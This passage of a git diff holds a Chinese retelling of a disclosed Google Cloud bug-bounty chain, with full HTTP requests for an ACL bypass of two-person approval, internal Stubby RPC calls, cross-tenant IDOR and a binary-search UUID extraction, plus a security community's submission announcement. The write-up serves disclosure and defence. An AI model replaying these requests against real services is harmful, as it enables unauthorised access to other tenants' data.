"https://cs.corp.google.com/piper///depot/google3/java/.../GenericRestV2TaskImpl.java" + +　　　}, + +　　　"paramSpecs": { + +　　　　"parameters": [ + +　　　　　{ + +　　　　　　"key": "salesforceDomain", + +　　　　　　"dataType": "STRING_VALUE", + +　　　　　　"className": "java.lang.String", + +　　　　　　"required": 1 + +　　　　　}, + +　　　　... + +　　　　] + +　　　}, + +　　　... + +　　　"taskType": "IO_TEMPLATE" + +　　} + +　] + +} + +GenericStubbyTypedTask 很可能属于底层的 ASIS_TEMPLATE： + +● +● +● +任务类型枚举 + +{ + +　"taskType": { + +　　　"description": "Defines the type of the task", + +　　　"enum": [ + +　　　　"TASK", + +　　　　"ASIS_TEMPLATE", + +　　　　"IO_TEMPLATE" + +　　　], + +　　　"enumDescriptions": [ + +　　　　"Normal IP task", + +　　　　"Task is of As-Is Template type", + +　　　　"Task is of I/O template type with a different underlying task" + +　　　], + +　　　"type": "string" + +　} + +} + +真正蹊跷的是，这个端点底层的 RPC 是 google.internal.cloud.crm.ipfrontend.v1.WorkflowEditorService/ListTaskEntities，跟公开产品 Application Integration 的 /$rpc/google.cloud.integrations.v1alpha.Integrations/ListTaskEntities 相似得诡异——不过后者也没有直接返回任何 ASIS_TEMPLATE 任务。 + +回头看 Application Integration 的 JS 代码： + +![Application Integration JS snippet](https://mmbiz.qpic.cn/mmbiz_jpg/VugQCN2riaR0l3TRT1Gy9PsSU17yZuOTMiaXddTWJAVib1PwXbicuteo10ibaiceWzs3t43ic3IiaicvX2cA7eyX0Vib1OIs2FXEpInCVCYLWej0iaQ768/640?wx_fmt=jpeg&from=appmsg "") +![]( "") + +从 Cloud Console 里拿到的 Application Integration JS 片段 + +● +● +● +JS 里的任务清单（节选） + +["Vertex AI - Predict","https://www.gstatic.com/enterprise/crm/eventbus/images/icons/custom_tasks/document_ai.png"], + +["GenericStubbyTypedTaskV2","http://gstatic.com/enterprise/crm/eventbus/images/icons/blue/stubby_48px_blue.svg"], + +["RunGoogleSqlPlxQueryTask","https://fonts.gstatic.com/s/i/productlogos/plx/v6/192px.svg"], + +["ConvertDremelResultToJsonTask","https://www.gstatic.com/images/icons/material/system/2x/settings_googblue_24dp.png"], + +确切的任务名是 GenericStubbyTypedTaskV2，还自带图标。 + +![stubby icon](https://mmbiz.qpic.cn/mmbiz_svg/Q3auHgzwzM6PrRowJvUxPX1F1RLDLqBCwJlZTWa3QndMLrAgRGrhM5QxnwmjJmh7XQvYmxd4MCeDk1F7BUibLib3Jx3w13ppPyfu3icKzorVJq2KlnGticv0icg/640?wx_fmt=svg&from=appmsg "") +![]( "") + +GenericStubbyTypedTaskV2 的图标，出自 Google 内部静态资源 + +在 Application Integration 上尝试配置 GenericStubbyTypedTask，返回的错误暴露了必填字段： + +● +● +● +响应 + +{ + +　"error": { + +　　"code": 400, + +　　"message": "'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'", + +　　"status": "INVALID_ARGUMENT" + +　} + +} + +逐个补齐缺失的 key，最终暴露出 serverSpec、serviceName、serviceMethod。 + +同样的参数也适用于 GenericStubbyTypedTaskV2。 + +参考 Ezequiel Pereira 的 protobuf 仓库，加上我们在另一份 discovery document 里发现的 GSLB 地址，我们把任务配置成调用 gslb:alkali-base 上的 /ServerStatus.GetServices。 + +顺带一提 + +Alkali 是 Google 内部的一个框架，Googler 可以用极少的样板代码起一个生产级 API。 + +这类框架也集中了不少安全问题。 + +● +● +● +创建出的工作流定义（节选） + +{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", + +　"taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": { + +　　"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, + +　　"serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, + +　　"serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, + +　　"serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, + +　　"position": {"x": -716, "y": -445}, "label": "Stubby Internal", "taskType": "ASIS_TEMPLATE", + +　　"externalTaskType": "NORMAL_TASK"}], + +　"triggerConfigs": [{"startTasks": [{"taskNumber": "1"}], "triggerType": "API", "triggerNumber": "1", + +　　"enabledClients": ["default"], "triggerId": "api_trigger/my-api-trigger-123"}], + +　"status": "DRAFT", "snapshotNumber": "1", "tags": ["HEAD"], "clientId": "default"}} + +这里的每一步都跟 Application Integration 对得上：工作流结构、任务配置，乃至发布和运行的流程。 + +看我们工作流里那个 "position": {"x": -716, "y": -445} 了吗？ + +内部 UI 大概长得很像 Application Integration 的可视化工作流编辑器，我们实质上是在给任务设置坐标： + +![Application Integration workflow editor](https://mmbiz.qpic.cn/mmbiz_jpg/VugQCN2riaR1G4angjMnTaO68ic6KnIHkiaZRLlMEFQQBpoGdqe9Z7rBOo06Vz6JNHA1jqDia6yXp70eFEM4h31oQMzKhq5Z1uFlFA9Dd3YkQs0/640?wx_fmt=jpeg&from=appmsg "") +![]( "") + +Application Integration 的可视化工作流编辑器：与内部 UI 的结构一致 + +还记得之前挡住我发布的 ACL 问题吗？ + +shrugged 想出了绕法——把 IP_EVENTBUS_WORKFLOWS 的 ACL 更新成两个攻击者控制的 Google 账号的混淆 Gaia ID： + +● +● +● +请求 · setAcl + +POST /v1/integrationPlatform/auth:setAcl HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Origin: https://console.cloud.google.com + +Content-Type: application/json + +Content-Length: 500 + + +{"resourceInfo": {"resource": "IP_EVENTBUS_WORKFLOWS", "id": "retest-test123"}, + +　"acl": {"entries": [ + +　　{"scope": {"obfuscatedGaiaId": "100029910836469267942"}, "role": 105}, + +　　{"scope": {"obfuscatedGaiaId": "113728935872649341310"}, "role": 105}]}} + +● +● +● +响应 + +HTTP/2 200 OK + +Content-Type: application/json; charset=UTF-8 + + +{} + +先用第一个攻击者账号把请求切换成「请求发布」： + +● +● +● +请求 · toggleRequestToPublishWorkflow + +POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Content-Type: application/json + + +{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"} + +再用第二个账号真正发布工作流——两人审批就此失效： + +● +● +● +请求 · publishWorkflow（第二个账号） + +POST /v1/integrationPlatform/workflowdeployment:publishWorkflow HTTP/2 + +Host: cloudcrmipfrontend-pa.clients6.google.com + +Content-Type: application/json + + +{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"} + +运行一个配置了 GenericStubbyTypedTaskV2 的工作流，serverSpec 设为 gslb:alkali-base、服务和方法设为 /ServerStatus.GetServices，我们就执行了 Stubby 查询： + +● +● +● +响应 · 内部 Stubby 服务清单（节选） + +... + +{ + +　　"protoValue": { + +　　"@type": "type.googleapis.com/rpc.ServiceList", + +　　"service": [ + +　　　　{ + +　　　　"name": "AlkaliBaseAccountService", + +　　　　"descriptor": { + +　　　　　　"filename": "google/internal/alkali/base/v1/alkali_base_account_service.proto", + +　　　　　　"name": "AlkaliBaseAccountService", + +　　　　　　"method": [ + +　　　　　　{ + +　　　　　　　　"name": "ListAccounts", + +　　　　　　　　"argumentType": "google.internal.alkali.base.v1.ListAccountsRequest", + +　　　　　　　　"resultType": "google.internal.alkali.base.v1.ListAccountsResponse", + +　　　　　　　　"deadline": 30, + +　　　　　　　　"securityLevel": "none" + +　　　　　　}, + +　　　　　　... + +　　　　} + +　　　　} + +　　] + +} + +之后我们把 RCE 升级补进了最初的报告。 + +时机卡得极紧： + +PoC 跑通一小时后，createDraftWorkflow 的修复就完全生效了。 + +再晚一点，这次 RCE 升级就只会停在理论层面。 + +话说回来，我们还没真正在 Google 服务器上执行代码，就被叫停了。 + +六 +第一轮时间线 + +
日期
事件
2025-12-01
初始报告提交给 Google
2025-12-01
Google 定级 P0/S0
2025-12-01
Nice catch!
2026-01-12
向 Google 安全团队说明 RCE 升级
2026-01-12
报告更新 RCE PoC，随后被 Google 升级
2026-01-16
评审组奖励 $60,000
+ +评审组给出的理由 + +这份报告质量极高。 + +漏洞类别为「Google Cloud 生产环境被攻陷」。 + +攻击者与受害者之间无需任何交互或关系。 + +默认 Google Cloud 产品。 + +第一轮攻击链 · 从调试端点到 Stubby 原语 + +① 泄露 proto 定义 +→ +② 泄露 client_id + +③ 绕过发布限制 +→ +④ 配置 Stubby 任务 + +⑤ 执行内部 RPC + +七 +第二轮：三个月后 + +你以为到这就结束了？ + +没那么容易。 + +三个月后，我的 fuzzer 又报来一批 IDOR，位于公开产品 Application Integration 的公开 API 上。 + +结果发现，这整张 API 里，你可以在 URL 里引用自己的 project ID，却引用别人的 UUID： + +● +● +● +请求 · 越权读取集成版本 + +GET /v1/projects//locations/us-central1/integrations/anythinghere/versions/ HTTP/2 + +Host: integrations.googleapis.com + +Authorization: Bearer + +API 会开开心心地把受害者的资源返回给你——因为认证检查是针对你的 project ID 做的（你当然对自己项目有权限），但没有任何访问控制去检查这个 ID 是否真的属于你的项目。 + +光是这个，影响有限，因为这些都是 UUIDv4。 + +搜索空间 10^36，暴力枚举没有现实意义。 + +所以我开始找有没有办法泄露受害者的资源 UUID。 + +这时我注意到一个有意思的「测试用例」功能。 + +按官方文档：用 Application Integration，你可以针对复杂的集成创建并运行多个测试用例；通过测试你的集成流程，可以确保集成按预期工作。 + +前端加载测试用例时，浏览器会发这样的请求： + +● +● +● +请求 · ListTestCases + +POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases HTTP/2 + +Host: us-central1-integrations.clients6.google.com + +Content-Type: application/x-protobuf + + +< RAW PROTOBUF DATA > + +真正的请求体是 protobuf，我把它解码出来是这样的： + +● +● +● +解码后的请求体 + +{ + +　"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4", + +　"2": "workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4", + +　"6": { + +　　"1": ["name", "display_name", "update_time", "client_id"] + +　} + +} + +字段 1 是父资源（我的项目、我的版本 UUID），字段 6 是响应字段掩码，而字段 2 的 workflow_id = ... 看起来是一种过滤器。 + +会不会只要不带这个字段，它就会返回所有工作流的测试用例？ + +应该不至于吧…… + +把字段 2 和 6 从请求里去掉： + +● +● +● +请求体（去掉 filter 与字段掩码） + +{ + +　"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4" + +} + +……响应里带回了每一个其他 GCP 项目的测试用例： + +● +● +● +响应 · 跨项目测试用例泄露（节选） + +{ + +　"testCases": [ + +　　{ + +　　　"name": "projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3", + +　　　"displayName": "test", + +　　　"triggerId": "api_trigger/AI_bebbia_CreateWOSubs_API_1", + +　　　"testInputParameters": [ + +　　　　{ + +　　　　　"key": "InputData", + +　　　　　"dataType": "JSON_VALUE", + +　　　　　"defaultValue": { + +　　　　　　"jsonValue": "{\n  \"OldSKU\": \"300465\",\n  \"orderid\": \"7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\",\n  ...\n}" + +　　　　　}, + +　　　　　"displayName": "InputData" + +　　　　} + +　　　], + +　　　"creatorEmail": "redacted@google.com", + +　　　... + +　　} + +　] + +} + +不过仔细看响应，你会发现一处不对劲。 + +每一条结果里的 versions/... 段都是 631a0566-02fc-4dce-b319-25e2c68168f4——那是我在字段 1 里发过去的我的版本 UUID。 + +API 只是把它原样反射进了每一条测试用例的 name 里，而这些测试用例属于完全不同的项目、不同的集成。 + +所以现在我有跨全部 GCP 项目的测试用例 ID、集成名和创建者邮箱，但我真正需要的、用来喂给前面那些 IDOR 的受害者版本 UUID，响应里一个都没有。 + +话虽如此，光测试用例 ID 就足够造成真实影响了。 + +Application Integration 暴露了一个 :executeTest 端点，按 ID 运行测试用例，而且它并不需要受害者真正的版本 UUID。 + +● +● +● +请求 · executeTest + +POST /v1/projects//locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest HTTP/2 + +Host: integrations.googleapis.com + +Authorization: Bearer + +Content-Length: 0 + +● +● +● +响应 + +{ + +　"executionId": "5d49abed-7692-47aa-8660-5cdaea92d2af", + +　"outputParameters": { + +　　"output": 3 + +　}, + +　"assertionResults": [ + +　　{ + +　　　"assertion": { + +　　　　"assertionStrategy": "ASSERT_EQUALS", + +　　　　"parameter": { "key": "output", "value": { "intValue": "3" } } + +　　　}, + +　　　"taskNumber": "1", + +　　　"taskName": "JsonnetMapperTask", + +　　　"status": "SUCCEEDED" + +　　} + +　], + +　"testExecutionState": "PASSED" + +} + +所以我已经能在任意受害者的环境里触发任意测试用例执行了。 + +但真正的目标仍然是利用前面的 IDOR 读取受害者的整个集成，而这需要真实的版本 UUID。 + +我在这卡了一会儿，直到冒出一个想法： + +filter 参数（字段 2）明显支持 = 这种比较运算符。 + +那它会不会也支持 > 和 <=？ + +如果支持，我就能锚定一个已知的测试用例 ID，然后对 workflow_id 字段做二进制搜索，一次一个十六进制字符，直到把整个 UUID 拼出来： + +● +● +● +二进制搜索条件 + +id = "" AND workflow_id > "" AND workflow_id <= "" + +每个请求都会收窄区间。 + +如果测试用例仍然出现在响应里，真实的 workflow_id 就在 (low, high] 内，否则就在区间外。 + +一个 32 字符的十六进制 UUID，128 个请求就能逼出来。 + +我让 Claude 写了个 PoC，一次跑通： + +● +● +● +extract_by_id.py · 运行输出 + +$ python extract_by_id.py --token "" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879" + +Test case: 60413427-4d07-4c36-bce0-66cfcdd81879 + +Parent:    projects/273897706296/locations/us-central1/integrations/x/versions/- + + +Verified: target found. Starting binary search... + + +　[ 4/32] fb1d0000-0000-0000-0000-000000000000  (16 reqs) + +　[ 8/32] fb1dc5f3-0000-0000-0000-000000000000  (32 reqs) + +　[12/32] fb1dc5f3-0380-0000-0000-000000000000  (48 reqs) + +　[16/32] fb1dc5f3-0380-491c-0000-000000000000  (64 reqs) + +　[20/32] fb1dc5f3-0380-491c-af90-000000000000  (80 reqs) + +　[24/32] fb1dc5f3-0380-491c-af90-5a1400000000  (96 reqs) + +　[28/32] fb1dc5f3-0380-491c-af90-5a141aa00000  (112 reqs) + +　[32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56  (128 reqs) + + +workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56 + +Total requests: 128 + +现在我拿到了受害者真实的集成版本 UUID。 + +把它和 GetIntegrationVersion 的 IDOR 串起来： + +● +● +● +请求 · GetIntegrationVersion + +GET /v1/projects//locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56 HTTP/2 + +Host: integrations.googleapis.com + +Authorization: Bearer + +● +● +● +响应 · 另一个项目的完整集成（节选） + +{ + +　"name": "projects//locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56", + +　"state": "DRAFT", + +　"triggerConfigs": [ + +　　{ + +　　　"label": "API Trigger", + +　　　"triggerType": "API", + +　　　"triggerId": "api_trigger/TestCasePOC5_API_1" + +　　} + +　], + +　"taskConfigs": [ + +　　{ + +　　　"task": "GenericRestV2Task", + +　　　"displayName": "Call REST Endpoint", + +　　　"parameters": { + +　　　　"url": { "key": "url", "value": { "stringValue": "$url$" } }, + +　　　　"httpMethod": { "key": "httpMethod", "value": { "stringValue": "POST" } }, + +　　　　"authConfigName": { "key": "authConfigName", "value": { "stringValue": "authprofiletest" } } + +　　　} + +　　} + +　], + +　"integrationParameters": [ + +　　{ "key": "url", "dataType": "STRING_VALUE", "defaultValue": { "stringValue": "https://example.com" } } + +　], + +　"lastModifierEmail": "gvrptest4@gmail.com", + +　"createTime": "2026-03-22T11:10:30.087Z" + +} + +如果还记得最初那份测试用例 dump，里面有相当一部分 creatorEmail 是以 @google.com 结尾的——有不少 Google 内部团队在这个平台上跑自己的集成。 + +我下一个念头很明显： + +这些 Googler 的集成里，会不会已经有人配置了 GenericStubbyTypedTaskV2（或者 PythonTask、CreateBuganizerIssueTask 之类的内部专用任务）？ + +只要有任何一个，这条跨租户链就能升级成严重得多的东西。 + +但我没法去验证。 + +做这件事意味着要遍历真实客户数据，那会违反 Google VRP 的规则。 + +所以我把手上的东西整理好，直接交给了 Cloud VRP。 + +漏洞点评 + +把「不可爆破」变成「可枚举」，是这个技巧的全部价值——filter 支持比较运算、结果又回显，每个请求就变成一个「目标 ID 比这个值大吗」的判定器，128 次请求确定性地抠出 128 bit 的 ID。 + +八 +配置内部任务类型：第二轮 RCE + +这让我开始想： + +到底是什么在阻止我自己创建一个带内部任务类型的集成？ + +试一下： + +● +● +● +请求 · 创建带 PythonTask 的集成版本 + +POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions HTTP/2 + +Host: integrations.googleapis.com + +Authorization: Bearer + +Content-Length: 1033 + + +{ + +　"taskConfigsInternal": [ + +　　{ + +　　　"taskNumber": "1", + +　　　"taskName": "PythonTask", + +　　　... + +　　　"taskEntity": { + +　　　　"uiConfig": { + +　　　　　"taskUiModuleConfigs": [ + +　　　　　　{ "moduleId": "RPC_TYPED" } + +　　　　　] + +　　　　} + +　　　}, + +　　　"taskType": "ASIS_TEMPLATE", + +　　　"parameters": { + +　　　　"TEST": { "key": "test", "value": { "stringValue": "test" } } + +　　　} + +　　} + +　], + +　... + +} + +● +● +● +响应 + +HTTP/2 200 OK + +Content-Type: application/json; charset=UTF-8 + + +{ + +　"name": "projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a", + +　"origin": "UI", + +　"snapshotNumber": "1", + +　"updateTime": "2026-05-01T07:30:07.182512Z", + +　"lockHolder": "gvrptest4@gmail.com", + +　"lastModifierEmail": "gvrptest4@gmail.com", + +　"state": "DRAFT", + +　... + +} + +真的可以。 + +但当我试图真正执行这个工作流时，它直接超时了： + +● +● +● +执行报错 + +Execution timeout, cancelled graph execution. The default timeout is 2min for sync + +execution and 10min for async execution. If you are using sync execution, please try + +async execution such as the Schedule API or Cloud Scheduler trigger. + +error/code: 'common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT' + +有一处很怪： + +当我配置 PythonTask（内部任务之一）、创建测试用例并执行它时，前端收到的不是超时，而是这个可疑的错误： + +● +● +● +测试用例执行返回 + +{ + +　"1": 9, + +　"2": "java.io.IOException: No space left on device" + +} + +这是执行后端抛出的真实异常，不是超时——不管测试用例走的是哪条代码路径，它已经深到在真实磁盘 I/O 上失败了。 + +用 GenericStubbyTypedTaskV2 试同样的手法，拿到的是一个信息更少、但同样可疑的响应： + +● +● +● +测试用例执行返回 + +Failed to execute test case. Error: Unknown Error. + +我去查了工作流执行日志，真正的错误这才露出来： + +● +● +● +工作流执行日志 + +{ + +　"message": "com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ", + +　"code": 500 + +} + +这非常可疑。 + +我肯定摸到东西了。 + +访问这个端点： + +● +● +● +请求 · 下载执行栈 + +GET /v1/projects//locations/us-west1/integrations/ExampleTest1234:1/executions/id:download HTTP/2 + +Host: integrations.googleapis.com + +Authorization: Bearer + +就能把完整的堆栈拉下来： + +● +● +● +堆栈（节选） + +com.google.enterprise.crm.exceptions.IpCanonicalCodeException: + +　com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException: + +　com.google.net.rpc3.client.RpcClientException: + +　 APPLICATION_ERROR; + +　enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall; + +　com.google.security.authentication.common.CredentialsUnsupportedException: + +　UberMint verification is disabled. You can enable it in AuthenticationMethods; + +　RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ; + +　AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed; + +　Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION + + at ...EventbusStubbyCallerService.ExecuteStubbyCall(...) + + at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744) + + at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654) + + at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475) + +　... + +这就清楚了： + +我们的变量被直接塞进后端的一个 ExecuteStubbyCallRequest 里。 + +根据折腾参数值时看到的堆栈，我猜后端代码大概长这样： + +● +● +● +后端伪代码（据堆栈推测） + +GenericStubbyTypedTaskV2.buildRequest(): + +　　line 219: setServerAddress(serverSpec)  → ExecuteStubbyCallRequest.java:1123 + +　　line 220: setServiceName(serviceName)   → ExecuteStubbyCallRequest.java:1219 + +　　line 221: setMethodName(serviceMethod)  → ExecuteStubbyCallRequest.java:1313 + +那是不是还有某个参数是必需的？ + +问题在于，堆栈只帮我泄露了已知的三个参数——serverSpec、serviceName、serviceMethod，我没能从这条路径上挖出更多。 + +另外，Google 把这类 RCE 升级当作安全事件处理，所以在继续之前，我向 Google 安全团队申请了放行。 + +他们很快回复，确认这确实可利用，并让我停止进一步测试。 + +报告很快被升级为 P0/S0，并收到 Nice catch。 + +差不多一个月后，这份报告在「Google Cloud 生产环境被攻陷」类别下获得 $75,000，是我到那时为止单笔最高的赏金。 + +RCE 赏金的基础档位 + +$50k： + +相对无特权的生产用户访问； + +$75k： + +有特权的生产用户访问； + +$100k： + +Google Cloud 管理员。 + +一次 RCE 落在哪一档，看被攻陷的 prod 身份能直接摸到多少生产环境。 + +生产环境的攻击面就这么大，拿到任意一个初始访问，往上提权几乎是一定的。 + +Google 对具体理由说得很含糊，但看起来内部团队自己排查这条链时，发现的真实影响比我展示的还要大得多——这就是它落在 $75k 这一档的原因。 + +漏洞点评 + +Google 的动作没得挑： + +几小时定级 P0/S0，一句 Nice catch，$60k、$75k、追加的 $13,337 都给得干脆。 + +但定价理由始终含糊——$75k 这档只给了一句「有特权的生产用户访问」，说不清是哪个 prod 身份、最终能触达什么。 + +他自己的判断是，内部团队排查时看到的真实影响比 PoC 大得多，而这部分至今没有对外解释。 + +第二轮攻击链 · 从 IDOR 到跨租户内部任务 + +① 越权 IDOR +→ +② 测试用例泄露 + +③ 二进制搜索 UUID +→ +④ 读取任意集成 + +⑤ 内部任务 RCE + +九 +第二轮时间线 + +
日期
事件
2026-03-21
初始报告提交给 Google
2026-03-23
Google 定级 P1/S1
2026-03-23
说明 RCE 升级，随即收到 Nice catch，报告升级为 P0/S0
2026-04-28
评审组奖励 $75,000
2026-05-06
告知 Google：GetIntegrationVersion RPC 仍然存在漏洞
2026-05-08
评审组追加奖励 $13,337
+ +追加奖励的理由 + +漏洞类别为「单服务权限提升 - 写」，其余判定与第一轮一致。 + +十 +漏洞点评：这 $148,337 买的是什么 + +两轮 RCE 的入口形态毫不相同——第一轮是三个可配置参数，第二轮是一个未公开的任务类型名——但被卖掉的都是同一件事：授权边界没画在正确的地方。 + +产品把内部编排原语（任意 Stubby 方法、内部任务类型）暴露给外部租户，服务端只认证、不鉴权，于是用户提交的一段配置被直接当成一次高权限内部调用；而内部能力只藏在 UI 里、不落在服务端类型白名单上，等于没藏。 + +拿到 Stubby 原语之所以被直接定级为 RCE，是因为原语的杀伤半径由被劫持的 prod 身份决定，不是由你能在 borglet 上跑什么决定——地基则是那一个 schema 泄露端点，没有它，后面每一步「我知道该填哪个参数」都不成立。 + +这 $148,337 买的就是这件事： + +赏金定价的是攻击面，不是利用难度。 + +这条链是两个人各自卡在半路、靠一次闲聊拼起来的：一边握着 client_id，另一边握着 GenericStubbyTypedTaskV2 的线索，Discord 群里一句话，两个死结同时解开。 + +厂商那侧的信号同样清楚： + +定级快、赏得干脆，但修复要等灰度刷完全量后端才算数——PoC 跑通与全量修复之间只隔了一小时；而定价理由始终含糊。 + +攻击者的时间窗口和厂商的解释力，比赏金数字更值得盯。 + +十一 +读者须知 + +研究来源： + +brutecat.com/articles/google-cloud-rce/ + +本文内容整理自上述公开研究，仅用于安全研究、漏洞原理分析与防御科普，帮助安全从业者看清「把内部能力暴露给外部输入」这类授权边界缺陷是怎么出事的。 + +文中涉及的接口、参数与调用链均已在授权范围内报告并修复；严禁将文中方法用于未经授权的系统、网络或账号。 + +因将上述内容用于非法目的而产生的一切法律后果，由使用者自行承担。 + +一个不正经的黑客　·　十年信息安全老兵 + +© 2026 一个不正经的黑客　保留所有权利 + diff --git a/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (2)..md b/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (2)..md new file mode 100644 index 00000000..336a53e8 --- /dev/null +++ b/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (2)..md @@ -0,0 +1,101 @@ +# 9月社区投稿活动 | 漏洞挖掘/AI渗透/面试经验/简历编写 +原创 掌控者 + 掌控者 掌控安全EDU 2026-09-14 04:02 + +# 2026 | 09 月社区投稿活动 +### 本期活动奖金池 + +**30000金币** +(1000金币=100大洋，可在社区商城提现)，打空截止，不另外追加奖金池 +### 活动时间 + +9 月 1 日- 10 月 1 日 +### 投稿要求 + +**文章内容必须为原创内容，Track社区首发且未在公众号中发布过** +1. 文章简洁，格式美观大方，敏感内容请注意脱敏处理。 +2. 文章通过后，如果发现一稿多投，打赏的金币将收回。 +#### 3. 针对【漏洞复现】文章稿件要求如下： + +近三个月出现的热点大型漏洞分析复现，可根据情况给到1000 至 3000+ 金币稿费，具体稿费可添加审核微信咨询： + +1、详细的漏洞介绍 + +2、详细的环境搭建 + +3、详细的漏洞分析 + +4、详细的漏洞利用思路及复现 + +5、内容为原创Track社区首发 + +6、优秀原创案例： +flysheep | 飞塔漏洞分析报告之CVE-2024-21762 + +**封神台漏洞复现靶场 WriteUp 固定奖励 300 金币** + +**获取投稿活动咨询、投稿审核等 可联系审核微信：hackerxhz666，添加时请备注：track-你的社区昵称** +### 集赞奖励计划 +##### 在平台投稿审核通过的文章，将自动加入集赞奖励计划(奖励系统自动触发)： +- 5个赞，奖励 20 个金币 + +- 10个赞，奖励 40 个金币 + +- 20个赞，奖励 100 个金币 + +注：单人点赞有次数限制，恶意刷赞将被检测，请不要恶意刷赞。 + +**新增规则：在 掌控安全EDU 公众号发布的投稿文章，三天内点赞数超过20可额外获取100金币奖励** +### 本月活动文章主题：漏洞挖掘 + +**本月收录优秀面试经验贴，可以与其他投稿活动奖励叠加~****优秀面试经验贴案例：** +https://bbs.zkaq.cn/t/32026.html******面试经验模板贴：** +https://bbs.zkaq.cn/t/2956.html + +**特别优秀文章可以给到单篇 2000-3000 金币及以上的奖励，特别优秀文章：攻防对抗详细内容、对抗绕过成功等技巧性知识、知识点全面总结等，此类文章投稿请作者单独添加审核微信：hackerxhz666，备注：track-你的社区用户名** + +### 9 月主题投稿活动： + +**对于符合 9 月活动文章主题且文章稿费****≥2500 金币（≥250 元） 的 实战攻防文章****，每篇给予****额外的 300 金币****投稿活动奖励(注：此活动与每月日常投稿活动不叠加)。** + +### 每月日常投稿活动： +

投稿活动奖励

文章篇数

额外奖励

1

共发表 1 篇有效文章

100 金币（不限新老用户）

2

共发表 3 篇有效文章

300 金币

3

共发表 5 篇有效文章

500 金币

+ +**投稿活动奖励范畴：对于稿费 ≥ 2500 金币（≥250 元）的文章不参与每月日常投稿活动以及请不要设置文章付费门槛，因为我们会给到您足够的稿费！** + +**注：所有投稿活动奖励仅针对通过审核的有效文章，额外奖励可叠加，立即结算生效。实战文章若未达到 300以上（包括300）金币的文章，不计入投稿活动奖励范围** + +#### 长期收文章类型： +``` +实战纪实类(各大src、护网项目、实战渗透报告)  代码审计类（需写清楚完整的代码审计流程） 二进制安全研究 恶意样本分析 安全开发、漏洞利用武器化研究 CTF Writeup【暂时不做收录】 +``` + + +**对所有的投稿文章，默认作者授权允许本公司以原创的方式将文章转载到微信公众号中（微信公众号原创发布时 作者署名：zkaq-作者的社区名字）** + +注: + +1.如对该授权存在异议，请在文章中进行标注。文章仍可通过审核发布在平台，但社区将不奖励任何金币。其他用户阅读后打赏的金币仍归作者所有. + +2.对于实战类型的文章，请作者自行脱敏。对一些通杀漏洞的分析等文章，请作者在文章末尾提供修复建议 +### 稿件审核标准 + +文章的审核将从以下4个维度进行审核，并且会在稿件打赏中标明等级，及相应的金币数量 +``` +技术深度    一级 1000-3000金币    二级 500-1500金币    三级 100-500金币技术广度、普适性    一级 1500-3000金币    二级 700-1500金币    三级 100-700金币文章可读性、完整性    一级 200金币    二级 100金币文章稀缺度(稀缺度需要有技术深度) ：    一级 1000-2000金币    二级 700-1000金币    三级 0-700金币 +``` + +注：天梯会公示在社区、优秀文章也会推荐到正式课全群。如有他人打赏，打赏的金币归作者所有 + +### 加入 Track 社区微信群 + +添加官方微信：**hackerxhz666** +，邀请您加入群聊。添加时请备注 ：Track-你的 Track 社区昵称。 + + +### 最后 + +欢迎各位白帽参与投稿，获取投稿活动咨询、投稿审核沟通等 可联系审核微信：**hackerxhz666** +，添加时请备注：track-你的社区用户名，另外所有最终解释权归 Track 